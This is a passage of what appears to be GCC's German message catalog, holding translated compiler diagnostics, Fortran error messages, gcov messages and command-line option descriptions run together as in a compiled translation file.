kann nur auf Funktionstypen angewandt werdenAttribut %qs gilt nur für FunktionenAttribut %qs bezieht sich nur auf UnterbrechungsfunktionenAttribut %qs bezieht sich nur auf VariablenAttribut %qs benötigt eine Ganzzahlkonstante als Argument%qs kann nur für Funktionen angegeben werden%qs kann nicht gleichzeitig die Attribute %<mips16%> und %<nomips16%> haben%qs sowohl als »exportiert in« als auch als »importiert aus DLL« deklariert%qs als Funktion, die eine Funktion zurückgibt, deklariert%qs als Funktion, die ein Feld zurückgibt, deklariert%qs erwartet ein konstantes Argument%qs hat sowohl %<extern%> als auch Initialisierung%qs übergelaufen%qs impliziert Standardsichtbarkeit, aber %qD wurde bereits mit anderer Sichtbarkeit deklariert%qs-inkompatibles Attribut wird ignoriert%qs initialisiert und als %<extern%> deklariert%qs ist veraltet%qs ist veraltet (deklariert bei %s:%d)%qs ist schmaler als die Werte seines Typs%qs ist keine gcov-Datei%qs ist keine gültige Ausgabedatei%qs ist kein Klassenname oder Alias in Objective-C%qs ist für %qs ungültig%qs hat Version %q.*s, Version %q.*s erwartet%qs antwortet möglicherweise nicht auf %<%c%s%>%qs muss mit %qs verwendet werdenin umgebender Parallele wurde %qs nicht angegeben%qs als andere Symbolart redeklariert%qs mit in Konflikt stehenden Attributen %qs redeklariertMarkierung %qs bei Benennung von %q#T verwendet%qs verwendet dynamische Stackanforderung%s%s
%s %+#D%s %+#D <nahe Übereinstimmung>%s %+#T%s %D(%T) <eingebaut>%s %D(%T, %T) <eingebaut>%s %D(%T, %T, %T) <eingebaut>%s %T <Umformung>%s %q+D %s nach Referenzierung mit dllimport-Bindung%s %qs implementiert das %qs-Protokoll nicht vollständig%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s: »%s«
%s REDUCTION-Variable »%s« muss bei %L INTEGER sein%s REDUCTION-Variable »%s« muss bei %L INTEGER oder REAL sein%s REDUCTION-Variable »%s« muss bei %L LOGICAL sein%s bei %L muss INTEGER sein%s bei %L muss skalar seinAttribut %s bei %L ist außerhalb des Spezifikationsabschnitts eines Moduls nicht erlaubtAttribut %s steht mit Attribut %s bei %L in KonfliktAttribut %s steht mit Attribut %s in »%s« bei %L in KonfliktAttribut %s ungültig in BLOCK DATA - Programmeinheit bei %LAttribut %s von »%s« steht mit Attribut %s bei %L in Konflikt%s zwischen den verschiedenen Zeigertypen %qT und %qT benötigt Umwandlung%s zwischen verschiedenen Zeiger-auf-Element-Typen %qT und %qT fehlt eine Typkonvertierung%s kann nicht hier in »asm« verwendet werden%s kann die Adresse der überladenen Funktion nicht auflösenKlausel %s - Objekt »%s« hat bei %L ALLOCATABLE-Komponenten%s unterstützt nicht %%n$-Operandennummerformate%s unterstützt nicht %s%s unterstützt nicht %s mit dem Format %<%%%c%> %s%s unterstützt nicht block_ends_with_call_p%s unterstützt nicht block_ends_with_condjump_p%s unterstützt nicht can_duplicate_block_p%s unterstützt nicht can_merge_blocks_p%s unterstützt nicht can_remove_branch_p%s unterstützt nicht create_basic_block%s unterstützt nicht delete_basic_block%s unterstützt nicht duplicate_block%s unterstützt nicht flow_call_edges_add%s unterstützt nicht make_forwarder_block%s unterstützt nicht merge_blocks%s unterstützt nicht move_block_after%s unterstützt nicht predict_edge%s unterstützt nicht predicted_by_p%s unterstützt nicht redirect_edge_and_branch%s unterstützt nicht redirect_edge_and_branch_force%s unterstützt nicht split_block%s unterstützt nicht split_edge%s unterstützt nicht das Format %<%%%c%> %s%s unterstützt nicht das Format %<%%%s%c%> %s%s unterstützt nicht den Längenmodifizierer %qs %s%s erwartet ein Ganzzahlliteral im Bereich [%d, %d].%s erwartet ein Ganzzahlliteral im Bereich [%d, %d]. (%s Ausdrucksliste als zusammengesetzten Ausdruck behandelt%s für %<operator%s%> in %<%E %s %E%>%s für %<operator%s%> in %<%E%s%>%s für %<operator%s%> in %<%s%E%>%s für %<operator[]%> in %<%E[%E]%>%s für %qs in %<%s %E%>%s für ternären %<operator?:%> in %<%E ? %E : %E%>%s hat keinen Effekt%s ignoriert mit %s und Format %<%%%c%> %s%s ignoriert mit %s im Format %s%s ist eine Referenz, kein Aufruf, zur Funktion %qE%s ist kein INTRINSIC-Prozedurname bei %C%s wird von dieser Konfiguration nicht unterstützt%s könnte möglicher Kandidat für Formatattribut sein%s der Funktion %qD%s der schreibgeschützten Speicherstelle %qE%s des schreibgeschützten benannten Rückgabewertes %qD%s des schreibgeschützten Parameters %qD%s der schreibgeschützten Referenz %qDProzedur %s bei %L ist bereits als Prozedur %s deklariert%s gab Ende-Status %d zurück%s sollte Typ %<%T%s%> haben, aber Argument %d hat Typ %qT%s sollte den Typ %<%s%s%> haben, aber das Argument %d hat Typ %qTSpezifizierer %s in Anweisung %s bei %C hat ungültigen Wert »%s«Anweisung %s bei %C kann nicht auf Anweisung %s bei %L folgenAnweisung %s bei %C kann keine DO-Schleife ohne Block beendenAnweisung %s bei %C folgt einer anderen ZugriffsspezifikationAnweisung %s bei %C nicht innerhalb einer SchleifeAnweisung %s bei %C nicht innerhalb der Schleife »%s«Anweisung %s bei %C hinterlässt OpenMP-strukturierten Block%s-Anweisung bei %L erwartetAnweisung %s muss in einem MODULE auftreten%s-Anweisung in PURE-Prozedur bei %C nicht erlaubtMarkierung %s bei %L muss vom Typ %s seinMarkierung %s bei %L muss ein Skalar sein%s mit Signal %d [%s]%s beendet%s verwendet mit Format %<%%%c%> %s%s Variable %qs ist im äußeren Kontext »private«%s%s%s %sVersion %s (%s)
%s	kompiliert von GNU-C-Version %s, %s%s%s %sVersion %s (%s) kompiliert von CC, %s%sGGC-Heuristik: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%sWarnung: %s-Header-Version %s unterscheidet sich von Bibliotheksversion %s.
%s-%s ist ein leerer Bereich%s: %d Basis-Blöcke und %d Kanten/Basis-Blöcke%s: %d Basis-Blöcke und %d Register%s: %d: »%s« verwendet, fehlt jedoch in SYSCALLS
%s: %d: Warnung: »%s« durch Präprozessor ausgeschlossen
%s: %d: Warnung: Definition von %s nicht konvertiert
%s: %d: Warnung: »%s« gefunden, aber »%s« erwartet
%s: %d: Warnung: keine externe Definition für »%s«
%s: %d: Warnung: Quelle zu verworren
%s: %d: Warnung: Funktionsdeklaration mit variablen Argumenten nicht konvertiert
%s: %s%s: %s-Compiler ist auf diesem System nicht installiert%s: %s beendet mit Status %d
%s: %s: Status kann nicht ermittelt werden: %s
%s: »%s« nicht konvertiert
%s: »--param«-Argumente sollten von der Form NAME=VALUE sein%s: Ausgabedatei %s konnte nicht geöffnet werden
%s: Ausgabedatei %s konnte nicht geschlossen werden
%s: PCH-Datei war ungültig%s: Versuch, Spezifikation »%s« in bereits definierte Spezifikation »%s« umzubenennen%s: Rechte der Datei »%s« können nicht geändert werden: %s
%s: die leere Datei »%s« kann nicht erzeugt oder geöffnet werden: %s
%s: die Ausgabedatei »%s« kann nicht erzeugt oder geöffnet werden: %s
%s: Fehler beim Löschen der Datei mit Zusatzinformationen »%s«: %s
%s: Fehler beim Löschen der Datei »%s«: %s
%s: Status der Datei »%s« kann nicht ermittelt werden: %s
%s: Status der Datei mit Zusatzinformationen »%s« kann nicht ermittelt werden: %s
%s: die Datei »%s« kann nicht mit »%s« verbunden werden (Link): %s
%s: Datei mit Zusatzinformationen »%s« kann nicht zum Lesen geöffnet werden: %s
%s: Datei »%s« kann nicht zum Lesen geöffnet werden: %s
%s: Datei mit Zusatzinformationen »%s« kann nicht gelesen werden: %s
%s: aktuelles Verzeichnis kann nicht ermittelt werden: %s
%s kann nicht als COFF-Datei geöffnet werden%s: »%s« wird kompiliert
%s: Konfliktliste für »%s« folgt:
%s: externe Definitionen von »%s« stehen in Konflikt
%s: Datei »%s« wird konvertiert
%s: PCH-Datei konnte nicht geöffnet werden: %m%s: Deklaration der Funktion »%s« nicht konvertiert
%s: Deklarationen von »%s« werden nicht konvertiert
%s: Definition der Funktion »%s« nicht konvertiert
%s: Fehler beim Schließen der Datei mit Zusatzinformationen »%s«: %s
%s: Fehler beim Lesen der Datei mit Zusatzinformationen »%s«: %s
%s: Fehler beim Schreiben der Datei »%s«: %s
%s: Definition von »%s« bei %s(%d) gefunden
%s: Funktionsdefinition nicht konvertiert
%s: globale Deklarationen für Datei »%s« wurden nicht eingefügt
%s: Namen der Eingabedateien müssen Suffix ».c« haben: %s
%s: ungültiger Dateiname: %s
%s: Eingabedateien des Binders unbenutzt, da keine Bindung geschieht%s: lokale Deklaration für Funktion »%s« nicht eingefügt
%s: mehrere statische Definitionen von »%s« in Datei »%s«
%s: keine COFF-Datei%s: Subprozess empfing kritischen Fehler %d
%s: Aufruf '%s [ -VqfnkN ] [ -i <istring> ] [ Dateiname ... ]'
%s: Aufruf '%s [ -VqfnkNlgC ] [ -B <VerzName> ] [ Dateiname ... ]'
%s: warten: %s
%s: Warnung: Fehler beim Umbenennen der Datei »%s« in »%s«: %s
%s: Warnung: Datei »%s« bereits in »%s« gesichert
%s: Warnung: SYSCALLS-Datei »%s« fehlt
%s: Warnung: kein Leserecht für Datei »%s«
%s: Warnung: keine statische Definition für »%s« in Datei »%s«
%s: Warnung: kein Schreibrecht für Verzeichnis mit »%s«
%s: Warnung: kein Schreibrecht für Datei »%s«
%s: Warnung: zu viele Parameterlisten in Deklaration von »%s«
%s: Warnung: Formalliste von %s(%d) für Funktion »%s« verwendet
%s: Datei »%s« würde konvertiert werden
%s:%d: Ungültige Präprozessordirektive%s:%d: durch frühere Fehler verwirrt, Abbruch
%s:%d: Deklaration der Funktion »%s« nimmt verschiedene Formen an
%s:%d: Datei %s verlassen, aber nicht betreten%s: »%s« hat Bögen vom Eintrittsblock
%s: »%s« hat Bögen zum Eintrittsblock
%s: Eintrag und/oder Exit-Blöcke fehlen in »%s«
%s: bereits gesehene Blöcke für »%s«
%s: kann nicht geöffnet werden, wird als nicht ausgeführt vermutet
%s: Graphen-Datei kann nicht geöffnet werden
%s: Quelldatei kann nicht geöffnet werden
%s: beschädigt
%s: Ausgabedatei »%s« konnte nicht geöffnet werden
%s: »%s« wird erzeugt
%s: Fehler beim Schreiben der Ausgabedatei »%s«
%s: Graph ist für »%s« unlösbar
%s: keine Funktionen gefunden
%s: keine Zeilen für »%s«
%s: keine gcov-Datei
%s: keine gcov-Graph-Datei
%s: übergelaufen
%s: Profil passt nicht für »%s«
%s: Quelldatei ist neuer als Graphen-Datei »%s«
%s: Marke passt nicht zur Graph-Datei
%s: unbekannte Funktion »%u«
%s: Version »%.4s«, aber »%.4s« wird bevorzugt
%s: Version »%.4s«, aber Version »%.4s« wird bevorzugt
«» «-Kennzeichen»!«-Kennzeichen»#«-Kennzeichen»%%%c« ist kein gültiger Operandenpräfix»%%l«-Operand ist keine MarkeArgumente »%s« und »%s« des intrinsischen »%s« bei %L müssen den selben Typ habenArgument »%s« des intrinsischen »%s« bei %L kann nicht INTENT(IN) seinArgument »%s« des intrinsischen »%s« bei %L muss %s seinArgument »%s« des intrinsischen »%s« bei %L muss ALLOCATABLE seinArgument »%s« für intrinsisches »%s« bei %L muss INTEGER oder LOGICAL seinArgument »%s« für intrinsisches »%s« bei %L muss INTEGER oder PROCEDURE seinArgument »%s« des intrinsischen »%s« bei %L muss INTEGER oder REAL seinArgument »%s« des intrinsischen »%s« bei %L muss REAL oder COMPLEX seinArgument »%s« des intrinsischen »%s« bei %L muss ein POINTER seinArgument »%s« des intrinsischen »%s« bei %L muss ein POINTER oder ein TARGET seinArgument »%s« des intrinsischen »%s« bei %L muss eine Konstante seinArgument »%s« des intrinsischen »%s« bei %L muss ein logisches Feld seinArgument »%s« des intrinsischen »%s« bei %L darf kein abgeleiteter Typ seinArgument »%s« des intrinsischen »%s« bei %L muss ein numerischer Typ seinArgument »%s« des intrinsischen »%s« bei %L muss ein Zeiger oder Ziel VARIABLE oder FUNCTION seinArgument »%s« des intrinsischen »%s« bei %L muss ein Skalar seinArgument »%s« des intrinsischen »%s« bei %L muss eine Variable seinArgument »%s« des intrinsischen »%s« bei %L muss ein Feld seinArgument »%s« des intrinsischen »%s« bei %L muss ein Standard-Real seinArgument »%s« des intrinsischen »%s« bei %L muss doppelte Genauigkeit habenArgument »%s« für intrinsisches »%s« bei %L muss geringer als Rang %d seinArgument »%s« des intrinsischen »%s« bei %L muss numerisch oder LOGICAL seinArgument »%s« des intrinsischen »%s« bei %L muss eine Scheinvariable seinArgument »%s« des intrinsischen »%s« bei %L darf von der Art nicht breiter als der Stardard (%d) seinArgument »%s« des intrinsischen »%s« bei %L muss eine OPTIONALe Scheinvariable seinArgument »%s« des intrinsischen »%s« bei %L muss von der Art %d seinArgument »%s« des intrinsischen »%s« bei %L muss vom Rang %d seinArgument »%s« des intrinsischen »%s« bei %L muss vom Rang 1 oder 2 seinArgument »%s« des intrinsischen »%s« bei %L muss vom Typ REAL oder COMPLEX seinArgument »%s« des intrinsischen »%s« bei %L muss von der selben Art wie »%s« seinArgument »%s« des intrinsischen »%s« bei %L muss vom gleichen Typ und gleicher Art wie »%s« seinArgument »%s« des intrinsischen »%s« bei %L darf nicht OPTIONAL seinArgument »%s« des intrinsischen »%s« bei %L darf kein Unterobjekt von »%s« seinArgument »%s« des intrinsischen »%s« bei %L darf nicht vorhanden sein, wenn »x« COMPLEX ist»%s« bei %C ist kein Element der Struktur »%s«»%s« bei %C ist keine Variable»%s« bei %C ist der Name einer rekursiven Funktion und verweist damit auf die Ergebnisvariable. Für direkte Rekursion, eine explizite RESULT-Variable verwenden (12.5.2.1)»%s« bei %L wurde bereits bei %L initialisiert»%s« bei %L kann nicht das VALUE-Attribut haben, da es kein Scheinargument ist»%s« bei %L hat einen Typen, der nicht zum CALL bei %L passt»%s« bei %L ist mehrdeutig»%s« bei %L ist ein Feld und optional; wenn es fehlt, kann es nicht das effektive Argument einer elementaren Prozedur sein, es sei denn, es gibt ein nicht-optionales Argument mit dem selben Rang (12.4.1.5)'%s' bei %L ist kein WERT»%s« bei %L ist keine Funktion»%s« bei %L ist keine Modulprozedur»%s« bei %L muss in diesem Zusammenhang konstante Zeichenlänge haben»%s« in Zeigerzuweisung bei %L kann kein L-Wert sein, da es eine Prozedur ist»%s« bereits aus Host-Sichtbarkeitseinheit bei %C IMPORTiert.»%s« ist kein gültiger Klassenname»%s« wurde an »%s« zugewiesen, war aber nicht während Rekompilierung definiert, oder umgekehrt»&« ist in Zeile %d selbst nicht erlaubt»'«-Kennzeichen»(«-Kennzeichen»+«-Kennzeichen»-%c« muss am Anfang der Kommandozeile stehenDie Option »-%c« muss ein Argument haben»-«-Kennzeichen»-fd-lines-as-code« hat keine Auswirkung in Freiform»-fd-lines-as-comments« hat keine Auswirkung in Freiform»0«-Kennzeichen»B«-Operand hat mehrere gesetzte Bits»B«-Operand ist nicht konstant»E«-Modifizierer»I«-KennzeichenArgument »MOLD« des intrinsischen »TRANSFER« bei %L darf nicht %s sein»O«-Modifizierer»^«-Kennzeichen»_«-KennzeichenArgument »a%d« des intrinsischen »%s« bei %L muss %s(%d) sein»a«-KennzeichenArgument »a1« des intrinsischen »%s« bei %L muss INTEGER, REAL oder CHARACTER seinArgument »dim« des intrinsischen »%s« bei %L ist kein gültiger DimensionsindexArgument »dim« des intrinsischen »%s« bei %L ist kein gültiger Dimensionsindex»m«-Kennzeichen»o«-Operand ist nicht konstant»q«-KennzeichenArgument »shape« des intrinsischen »reshape« bei %L hat mehr als %d ElementeArgument »shape« des intrinsischen »reshape« bei %L muss ein Feld konstanter Größe seinArgument »source« des intrinsischen »shape« bei %L darf kein Feld impliziter Größe sein(C)(Nachrichten ohne passende Methodensignatur(ein Zeiger auf ein Element kann nur mit %<»&%E%> erzeugt werden)(eine Initialisierung außerhalb der Klasse ist erforderlich)(wenn das nicht beabsichtigt war, sollte sicher gestellt werden, dass das Funktions-Template bereits deklariert wurde, und <> hier hinter Funktionsnamen eingefügt wurde) (mit %<-fpermissive%> wird G++ den Code akzeptieren, aber die Verwendung eines nicht deklarierten Namens ist veraltet)(nahe der Initialisierung für %qs)(vielleicht war %<typename %T::%E%> beabsichtigt)(vielleicht fehlt ein Semikolon hinter der Definition von %qT)(vielleicht wurde das Makro %<offsetof%> falsch verwendet)(Es sollte also %qT statt %qT an %<va_arg%> übergeben werden)(die Meldung wird für jede Quelldatei nur einmal angezeigt)
--param inline-unit-growth: Limit erreicht--param large-function-growth: Limit erreicht--param large-stack-frame-growth: Limit erreicht--param max-inline-insns-auto: Limit erreicht--param max-inline-insns-single: Limit erreicht--resource erfordert -o-E oder -x benötigt, wenn die Eingabe von der Standardeingabe kommt-I- doppelt angegeben-Werror=%s: Keine Option -%s-Wformat-contains-nul wird ohne -Wformat ignoriert-Wformat-extra-args wird ohne -Wformat ignoriert-Wformat-nonliteral wird ohne -Wformat ignoriert-Wformat-security wird ohne -Wformat ignoriert-Wformat-y2k wird ohne -Wformat ignoriert-Wformat-zero-length wird ohne -Wformat ignoriert-Xbind-now und -Xbind-lazy sind unverträglich-bundle ist nicht mit -dynamiclib erlaubt-bundle_loader ist nicht mit -dynamiclib erlaubtFür Ada wird -c oder -S benötigt-client_name ist nicht mit -dynamiclib erlaubt-current_version ist nur mit -dynamiclib erlaubt-f%s und -msdata=%s sind unverträglich-f%s für 68HC11/68HC12 ignoriert (nicht unterstützt)-f%s für Unicos/Mk ignoriert (nicht unterstützt)-f%s für Ziel ignoriert (der gesamte Code ist positionsunabhängig)-f%s wird mit CONST16-Befehlen nicht unterstützt-f%s nicht unterstützt: ignoriert-f%sleading-underscore wird auf dieser Zielmaschine nicht unterstützt-fPIC und -G sind unverträglich-fPIC und -fpic werden für dieses Ziel nicht unterstützt-fPIC und -fpic werden in dieser Konfiguration nicht unterstützt-fPIC und -mcall-%s sind unverträglich-falign-labels=%d wird nicht unterstützt-falign-loops=%d wird nicht unterstützt-fassociative-math abgeschaltet; andere Optionen haben Vorrang-fblas-matmul-limit=<n>        Größe der kleinsten Matrix, für die matmul BLAS verwenden wird-fdata-sections wird für dieses Ziel nicht unterstützt-fdbg-cnt=%s-fdbg-cnt=<Zähler>:<Grenze>[,<Zähler>:<Grenze>,...]    Grenze des Fehlersuchzählers setzen.-fdirectives-only ist mit -Wunused_macros unverträglich-fdirectives-only ist mit -traditional unverträglich-femit-class-file sollte zusammen mit -fsyntax-only verwendet werden-ffunction-sections ausgeschaltet; das macht Profiling unmöglich-ffunction-sections wird für dieses Ziel nicht unterstützt-fhandle-exceptions wurde in -fexceptions umbenannt (und ist nun voreingestellt)-findirect-dispatch ist mit -freduced-reflection unverträglich-finit-character=<n> Lokale Zeichenvariablen auf ASCII-Wert n initialisieren-finit-integer=<n> Lokale Ganzzahlvariablen auf n initialisieren-finit-logical=<true|false> Lokale logische Variablen initialisieren-finit-real=<zero|nan|inf|-inf> Lokale Real-Variablen initialisieren-finstrument-functions-exclude-file-list=filename,...  In Dateien aufgezählte Funktionen nicht verwenden-finstrument-functions-exclude-function-list=name,...  Aufgezählte Funktionen nicht verwenden-fjni und -femit-class-file sind unverträglich-fjni und -femit-class-files sind unverträglich-fjni ist mit -freduced-reflection unverträglich-fno-gnu89-inline wird nur im Modus GNU99 oder C99 unterstützt-force_flat_namespace ist nicht mit -dynamiclib erlaubt-fpic und -mapcs-reent sind inkompatibel-fprefetch-loop-arrays wird nicht mit -Os unterstützt-fprefetch-loop-arrays wird für dieses Ziel nicht unterstützt-fprefetch-loop-arrays wird für dieses Ziel nicht unterstützt (ggf. die »-march«-Schalter versuchen)-frecord-gcc-switches wird für das aktuelle Ziel nicht unterstützt-freorder-blocks-and-partition unterstützt keine Abwicklungs-Informationen-freorder-blocks-and-partition funktioniert auf dieser Architektur nicht-freorder-blocks-and-partition funktioniert nicht mit Ausnahmen-frepo muss mit -c verwendet werden-fstack-protector wird für dieses Ziel nicht unterstützt-g wird nur bei der Verwendung von GAS auf diesem Prozessor unterstütztOption -g ausgeschaltet-g mit -mno-apcs-frame könnte vernünftige Fehlersuche verhindern-imultilib <dir> <dir> als Multilib-include-Verzeichnis setzen-install_name ist nur mit -dynamiclib erlaubt-keep_private_externs ist mit -dynamiclib nicht erlaubt-m%s wird in dieser Konfiguration nicht unterstützt-m64 wird in dieser Konfiguration nicht unterstützt-m64 erfordert PowerPC64-Architektur voraus, eingeschaltet-m64 benötigt eine PowerPC64-CPU-maix64 und die Architektur POWER sind unverträglich-maix64 benötigt: 64-Bit-Berechnung mit 32-Bit-Adressierung noch nicht unterstützt-maix64 setzt eingeschaltete PowerPC64-Architektur voraus-malign-power wird für 64-Bit-Darwin nicht unterstützt; es ist mit den installierten C- und C++-Bibliotheken unverträglich-mapcs-stack-check inkompatibel mit -mno-apcs-frame-max-stackframe=%d ist nicht verwendbar, nicht zwischen 0 und %d-mbackchain -mpacked-stack -mhard-float werden in dieser Kombination nicht unterstützt-mbig-endian und -mlittle-endian dürfen nicht zusammen verwendet werden-mbnu210 wird ignoriert (veraltete Option)-mcall-aixdesc muss »big endian« sein-mcmodel= wird auf 32-Bit-Systemen nicht unterstützt-mcpu=%s steht in Konflikt mit -march=%s-mcpu=%s hat ungültige Silizium-Revision-mcpu=%s ist nicht gültig-mdynamic-no-pic hebt -fpic oder -fPIC auf-mfloat-abi=hard und VFP-mglibc and -muclibc zusammen verwendet-mhard-dfp kann nicht in Verbindung mit -msoft-float verwendet werden-mhard-float wird nicht unterstützt-mieee für Unicos/Mk nicht unterstützt-mieee-with-inexact für Unicos/Mk nicht unterstützt-mlong-double-64 ist mit -m64 nicht erlaubt-mmultiple wird auf »little endian«-Systemen nicht unterstützt-mn ohne -mh oder -ms verwendet-mpcrel -fPIC wird derzeit nicht für die ausgewählte CPU unterstützt-mpic-register= ist ohne -fpic nutzlos-mrelax wird nur für RTP PIC unterstützt-mrelocatable und -mcall-%s sind unverträglich-mrelocatable und -mno-minimal-toc sind unverträglich-mrelocatable und -msdata=%s sind unverträglich-ms2600 ohne -ms verwendet-msdata=%s und -mcall-%s sind unverträglich-msecure-plt wird vom Assembler nicht unterstützt-mshared-library-id= ohne -mid-shared-library angegeben-mshared-library-id=%s ist nicht zwischen 0 und %d-msingle-float und -msoft-float können nicht zusammen angegeben werden-msoft-float und -mhard_float dürfen nicht zusammen verwendet werden-mstack-guard bringt -mstack-size mit sich-mstring wird auf »little endian«-Systemen nicht unterstütztOption -munix=98 für Eigenschaften des C89 Amendment 1 erforderlich.
-pg und -fomit-frame-pointer sind unverträglich-pipe wird nicht unterstützt-private_bundle ist mit -dynamiclib nicht erlaubt-static-libgfortran wird in dieser Konfiguration nicht unterstützt.NOT.-Operator in Ausdruck bei %L muss einen LOGICAL-Operanden haben128-bit long double nicht unterstützt für VAX floats31-Bit-ABI387-Befehlssatz ausgeschaltet, es wird SSE-Arithmetik verwendet64-Bit-ABI64-Bit-ABI nicht unterstützt im ESA/390-Modus64-Bit-E500 wird nicht unterstützt<Während Initialisierung>
<anonym><eingebaut><Kommandozeile><Konstantenpool-Index %d außerhalb des Wertebereiches><Konstantenpool-Index %d mit unerwartetem Typ>»@catch«-Parameter ist kein bekannter Objective-C-KlassentypEin Faktor, um die obere Schranke des Swing-Modulo-Schedulers für Schleifenplanung einzustellenEin Synonym für -std=c89 (für C) oder -std=c++98 (für C++)Schwellwert für vom Swing-Modulo-Scheduler betrachteten Durchschnitts-Schleifen-ZählerABSTRACT INTERFACE »%s« darf bei %L nicht referenziert werdenACCESS-Spezifikation bei %L wurde bereits spezifiziertALTERNATE RETURN bei %L nicht erlaubtwieder einsprungsfähiger APCS Code nicht unterstützt. Ignoriert.ASSERT_EXPR mit immer falscher BedingungASSIGN-Anweisung bei %L erfordert eine skalare Standard-INTEGER-VariableAnweisung ASSIGNED GOTO bei %L erfordert eine INTEGER-VariableAUX-Zeiger für Kante %d->%d initialisiertDefinitionen von Makros in <Datei> akzeptierenErweiterungen akzeptieren, um alten Code zu unterstützenAuf Daten im gleichen Abschnitt von gemeinsam benutzten Ankerpunkten zugreifenZugriffsspezifikation des Operators %s bei %C wurde bereits spezifiziertZugriffsspezifikation des Operators .%s. bei %C wurde bereits spezifiziertEffektives Argument bei %L für INTENT(%s)-Dummy »%s« von ELEMENTAL-Unterprogramm »%s« ist skalar, aber ein anderes effektives Argument ist ein FeldDas effektive Argument bei %L ist benutzungs-verbunden mit PROTECTED-Attribut und Scheinargument »%s« ist INTENT = OUT/INOUTDas effektive Argument bei %L muss definierbar sein, denn das Scheinargument »%s« ist INTENT = OUT/INOUTEffektives Argument enthält zuwenige Elemente für Scheinargument »%s« (%lu/%lu) bei %LEffektives Argument für »%s« kann nicht Feld vermuteter Größe bei %L seinEffektives Argument für »%s« muss ALLOCATABLE bei %L seinEffektives Argument für »%s« muss ein Zeiger bei %L sein<Verz> an das Ende des Einfügepfades des Haupt-Frameworks anfügen<Verz> an das Ende des Haupteinfügepfades anfügen<Verz> an das Ende des Zitat-Einfügepfades anfügen<Verz> an das Ende des Einfügepfades des System-Frameworks anfügen<Verz> an das Ende des System-Einfügepfades anfügen<Verz> an den Anfang des System-Einfügepfades anfügenMAKE-zitiertes Ziel hinzufügenEinen gemeinsamen Durchlauf zur Entfernung von Teilausdrücken nach Schleifenoptimierungen hinzufügenEin unzitiertes Ziel hinzufügenZusätzlichen Kommentar an Assemblerausgabe anfügenEinsatz von Schmutzfänger-Bereichsprüfung für Multi-Thread-Programm hinzufügenEinsatz von Schmutzfänger-Bereichsprüfung für Single-Thread-Programm hinzufügenZusätzliche FehlerprotokollausdruckeAggressiv reduzierte Debuginfo für StructsAlias für --help=targetAlias für -femit-class-fileAlias für -mfloat-abi=hardAlias für -mfloat-abi=softAlle Marken ausrichtenAlle Schleifen auf 32-Byte-Grenzen ausrichtenCode und Daten auf 32 Bit ausrichtenZiel der Zeichenkettenoperationen ausrichtenDoubles auf 64-Bit-Grenzen ausrichtenMarken ausrichten, die nur mit Sprüngen erreicht werden könnenMehrere Doubles auf DWord-Grenze ausrichtenFunktionsanfänge ausrichtenSchleifenanfänge ausrichtenAuf Basistyp des Bitfeldes ausrichtenVariablen auf 32-Bit-Grenzen ausrichtenAlle eingebauten Prozeduren sind ungeachtet des gewählten Standards verfügbarZuordnungsfähiges »%s« bei %L kann keine Initialisierung habenZuordnungsfähiges Feld »%s« bei %L muss aufgeschobene Form habenAllozierbare Komponente bei %C muss ein Feld seinAllozierbare Komponente der Struktur bei %C muss eine aufgeschobene Form habenReservierbare Variable »%s«, die als als Parameter für »%s« bei %L verwendet wird, darf kein Feld der Größe Null seinLokale Variablen auf Stack anlegen um indirekte Rekursion zu ermöglichenIm festen Modus beliebig lange Zeilen erlaubenIm freien Modus beliebig lange Zeilen erlaubenZulassen, dass Bitfelder Wortgrenzen überschneidenErlauben, Sprünge mit anderen Befehlen zu packenDollarzeichen in Entity-Namen erlaubenSchnelle Sprünge zum Nachrichten-Dispatcher erlaubenVorhalten von Funktionsadressen in Registern erlaubenHardware-Gleitkommabefehle erlauben, um 32-Bit- und 64-Bit-Befehle abzudeckenImplizite Umwandlungen zwischen Vektoren mit unterschiedlicher Anzahl der Teile und/oder abweichenden Elementtypen erlauben.Bei Schleifenoptimierungen annehmen, dass sich die Schleifen normal verhaltenMathematische Optimierungen erlauben, die IEEE- oder ISO-Standards verletzen könntenOptimierung für Gleitkommaarithmetik erlauben, bei möglicher Änderung vonNicht ausgereifte Planung von eingereihten Befehlen erlaubenSpekulative Bewegung bei mehr Ladeoperationen erlaubenSpekulative Bewegung beim Nicht-Laden erlaubenSpekulative Bewegung bei einigen Ladeoperationen erlaubenVerschiedene Typen für die Argumente des »?«-Operators erlaubenVerwendung von MDMX-Befehlen erlaubenVerwendung von MT-Befehlen erlaubenVerwendung von Hardware-Gleitkomma-ABI und -befehlen erlaubenZwei Befehle pro Durchgang erlaubenAlternative RETURN-Anweisung bei %C ist nur innerhalb einer SUBROUTINE erlaubtAlternative RETURN-Anweisung bei %L erfordert einen SCALAR-INTEGER-Spezifizierer als RückgabeAlternative AufrufkonventionAlternative Rückgabe kann nicht in Operatorschnittstelle bei %L auftretenAlternativer Rückgabespezifizierer in elementarem Unterprogramm »%s« bei %L ist nicht erlaubtAlternativer Rückgabespezifizierer in Funktion »%s« bei %L ist nicht erlaubtObwohl nicht referenziert, »%s« bei %L hat mehrdeutige SchnittstellenAltiVec- und E500-Befehle können nicht koexistierenAltiVec-Argument an Funktion ohne Prototyp übergebenImmer auf nicht von gcj erzeugte Klassenarchive prüfenImmer weite Rufe erzeugenBit-Feld immer mit int-Größe behandelnMehrdeutige Schnittstellen »%s« und »%s« in %s bei %LDie geeignete Diagnosemeldung mit der Kommandozeilenoption erweitern, die sie steuertAlternative Rückkehr bei %L ohne ein *-ScheinargumentEin äußeres FORALL-Konstrukt hat bereits einen Index mit Namen %LAssemblerbefehle mit geschätzten Adressen kommentierenEinen zweiten Unterstrich anhängen, wenn der Name bereits einen Unterstrich enthältUnterstriche an extern sichtbare Namen anhängenNegatives Vorzeichen auf Null-Werte anwendenVariablenerweiterung anwenden, wenn Schleifen abgerollt werdenArgument »%s« tritt im Aufruf von »%s« bei %L doppelt aufArgument »%s« der elementaren Prozedur bei %L kann kein POINTER-Attribut habenArgument »%s« der elementaren Prozedur bei %L muss skalar seinArgument »%s« der reinen Funktion »%s« bei %L muss INTENT(IN) seinFür Argument »%s« des reinen Unterprogrammes »%s« bei %L muss INTENT angegeben werdenArgument »%s« der Anweisungs-Funktion bei %L muss skalar seinArgument »%s« für »%s« bei %L muss ein zugeordneter skalarer POINTER seinArgument NCOPIES des intrinsischen REPEAT ist bei %L negativArgument NCOPIES des intrinsischen REPEAT ist bei %L zu großArgument dim bei %L muss INTEGER-Typ habenArgument dim bei %L muss skalar seinArgument von %s bei %L hat keinen gültigen TypArgument von %s bei %L muss von der Länge eins seinArgument von ACOS 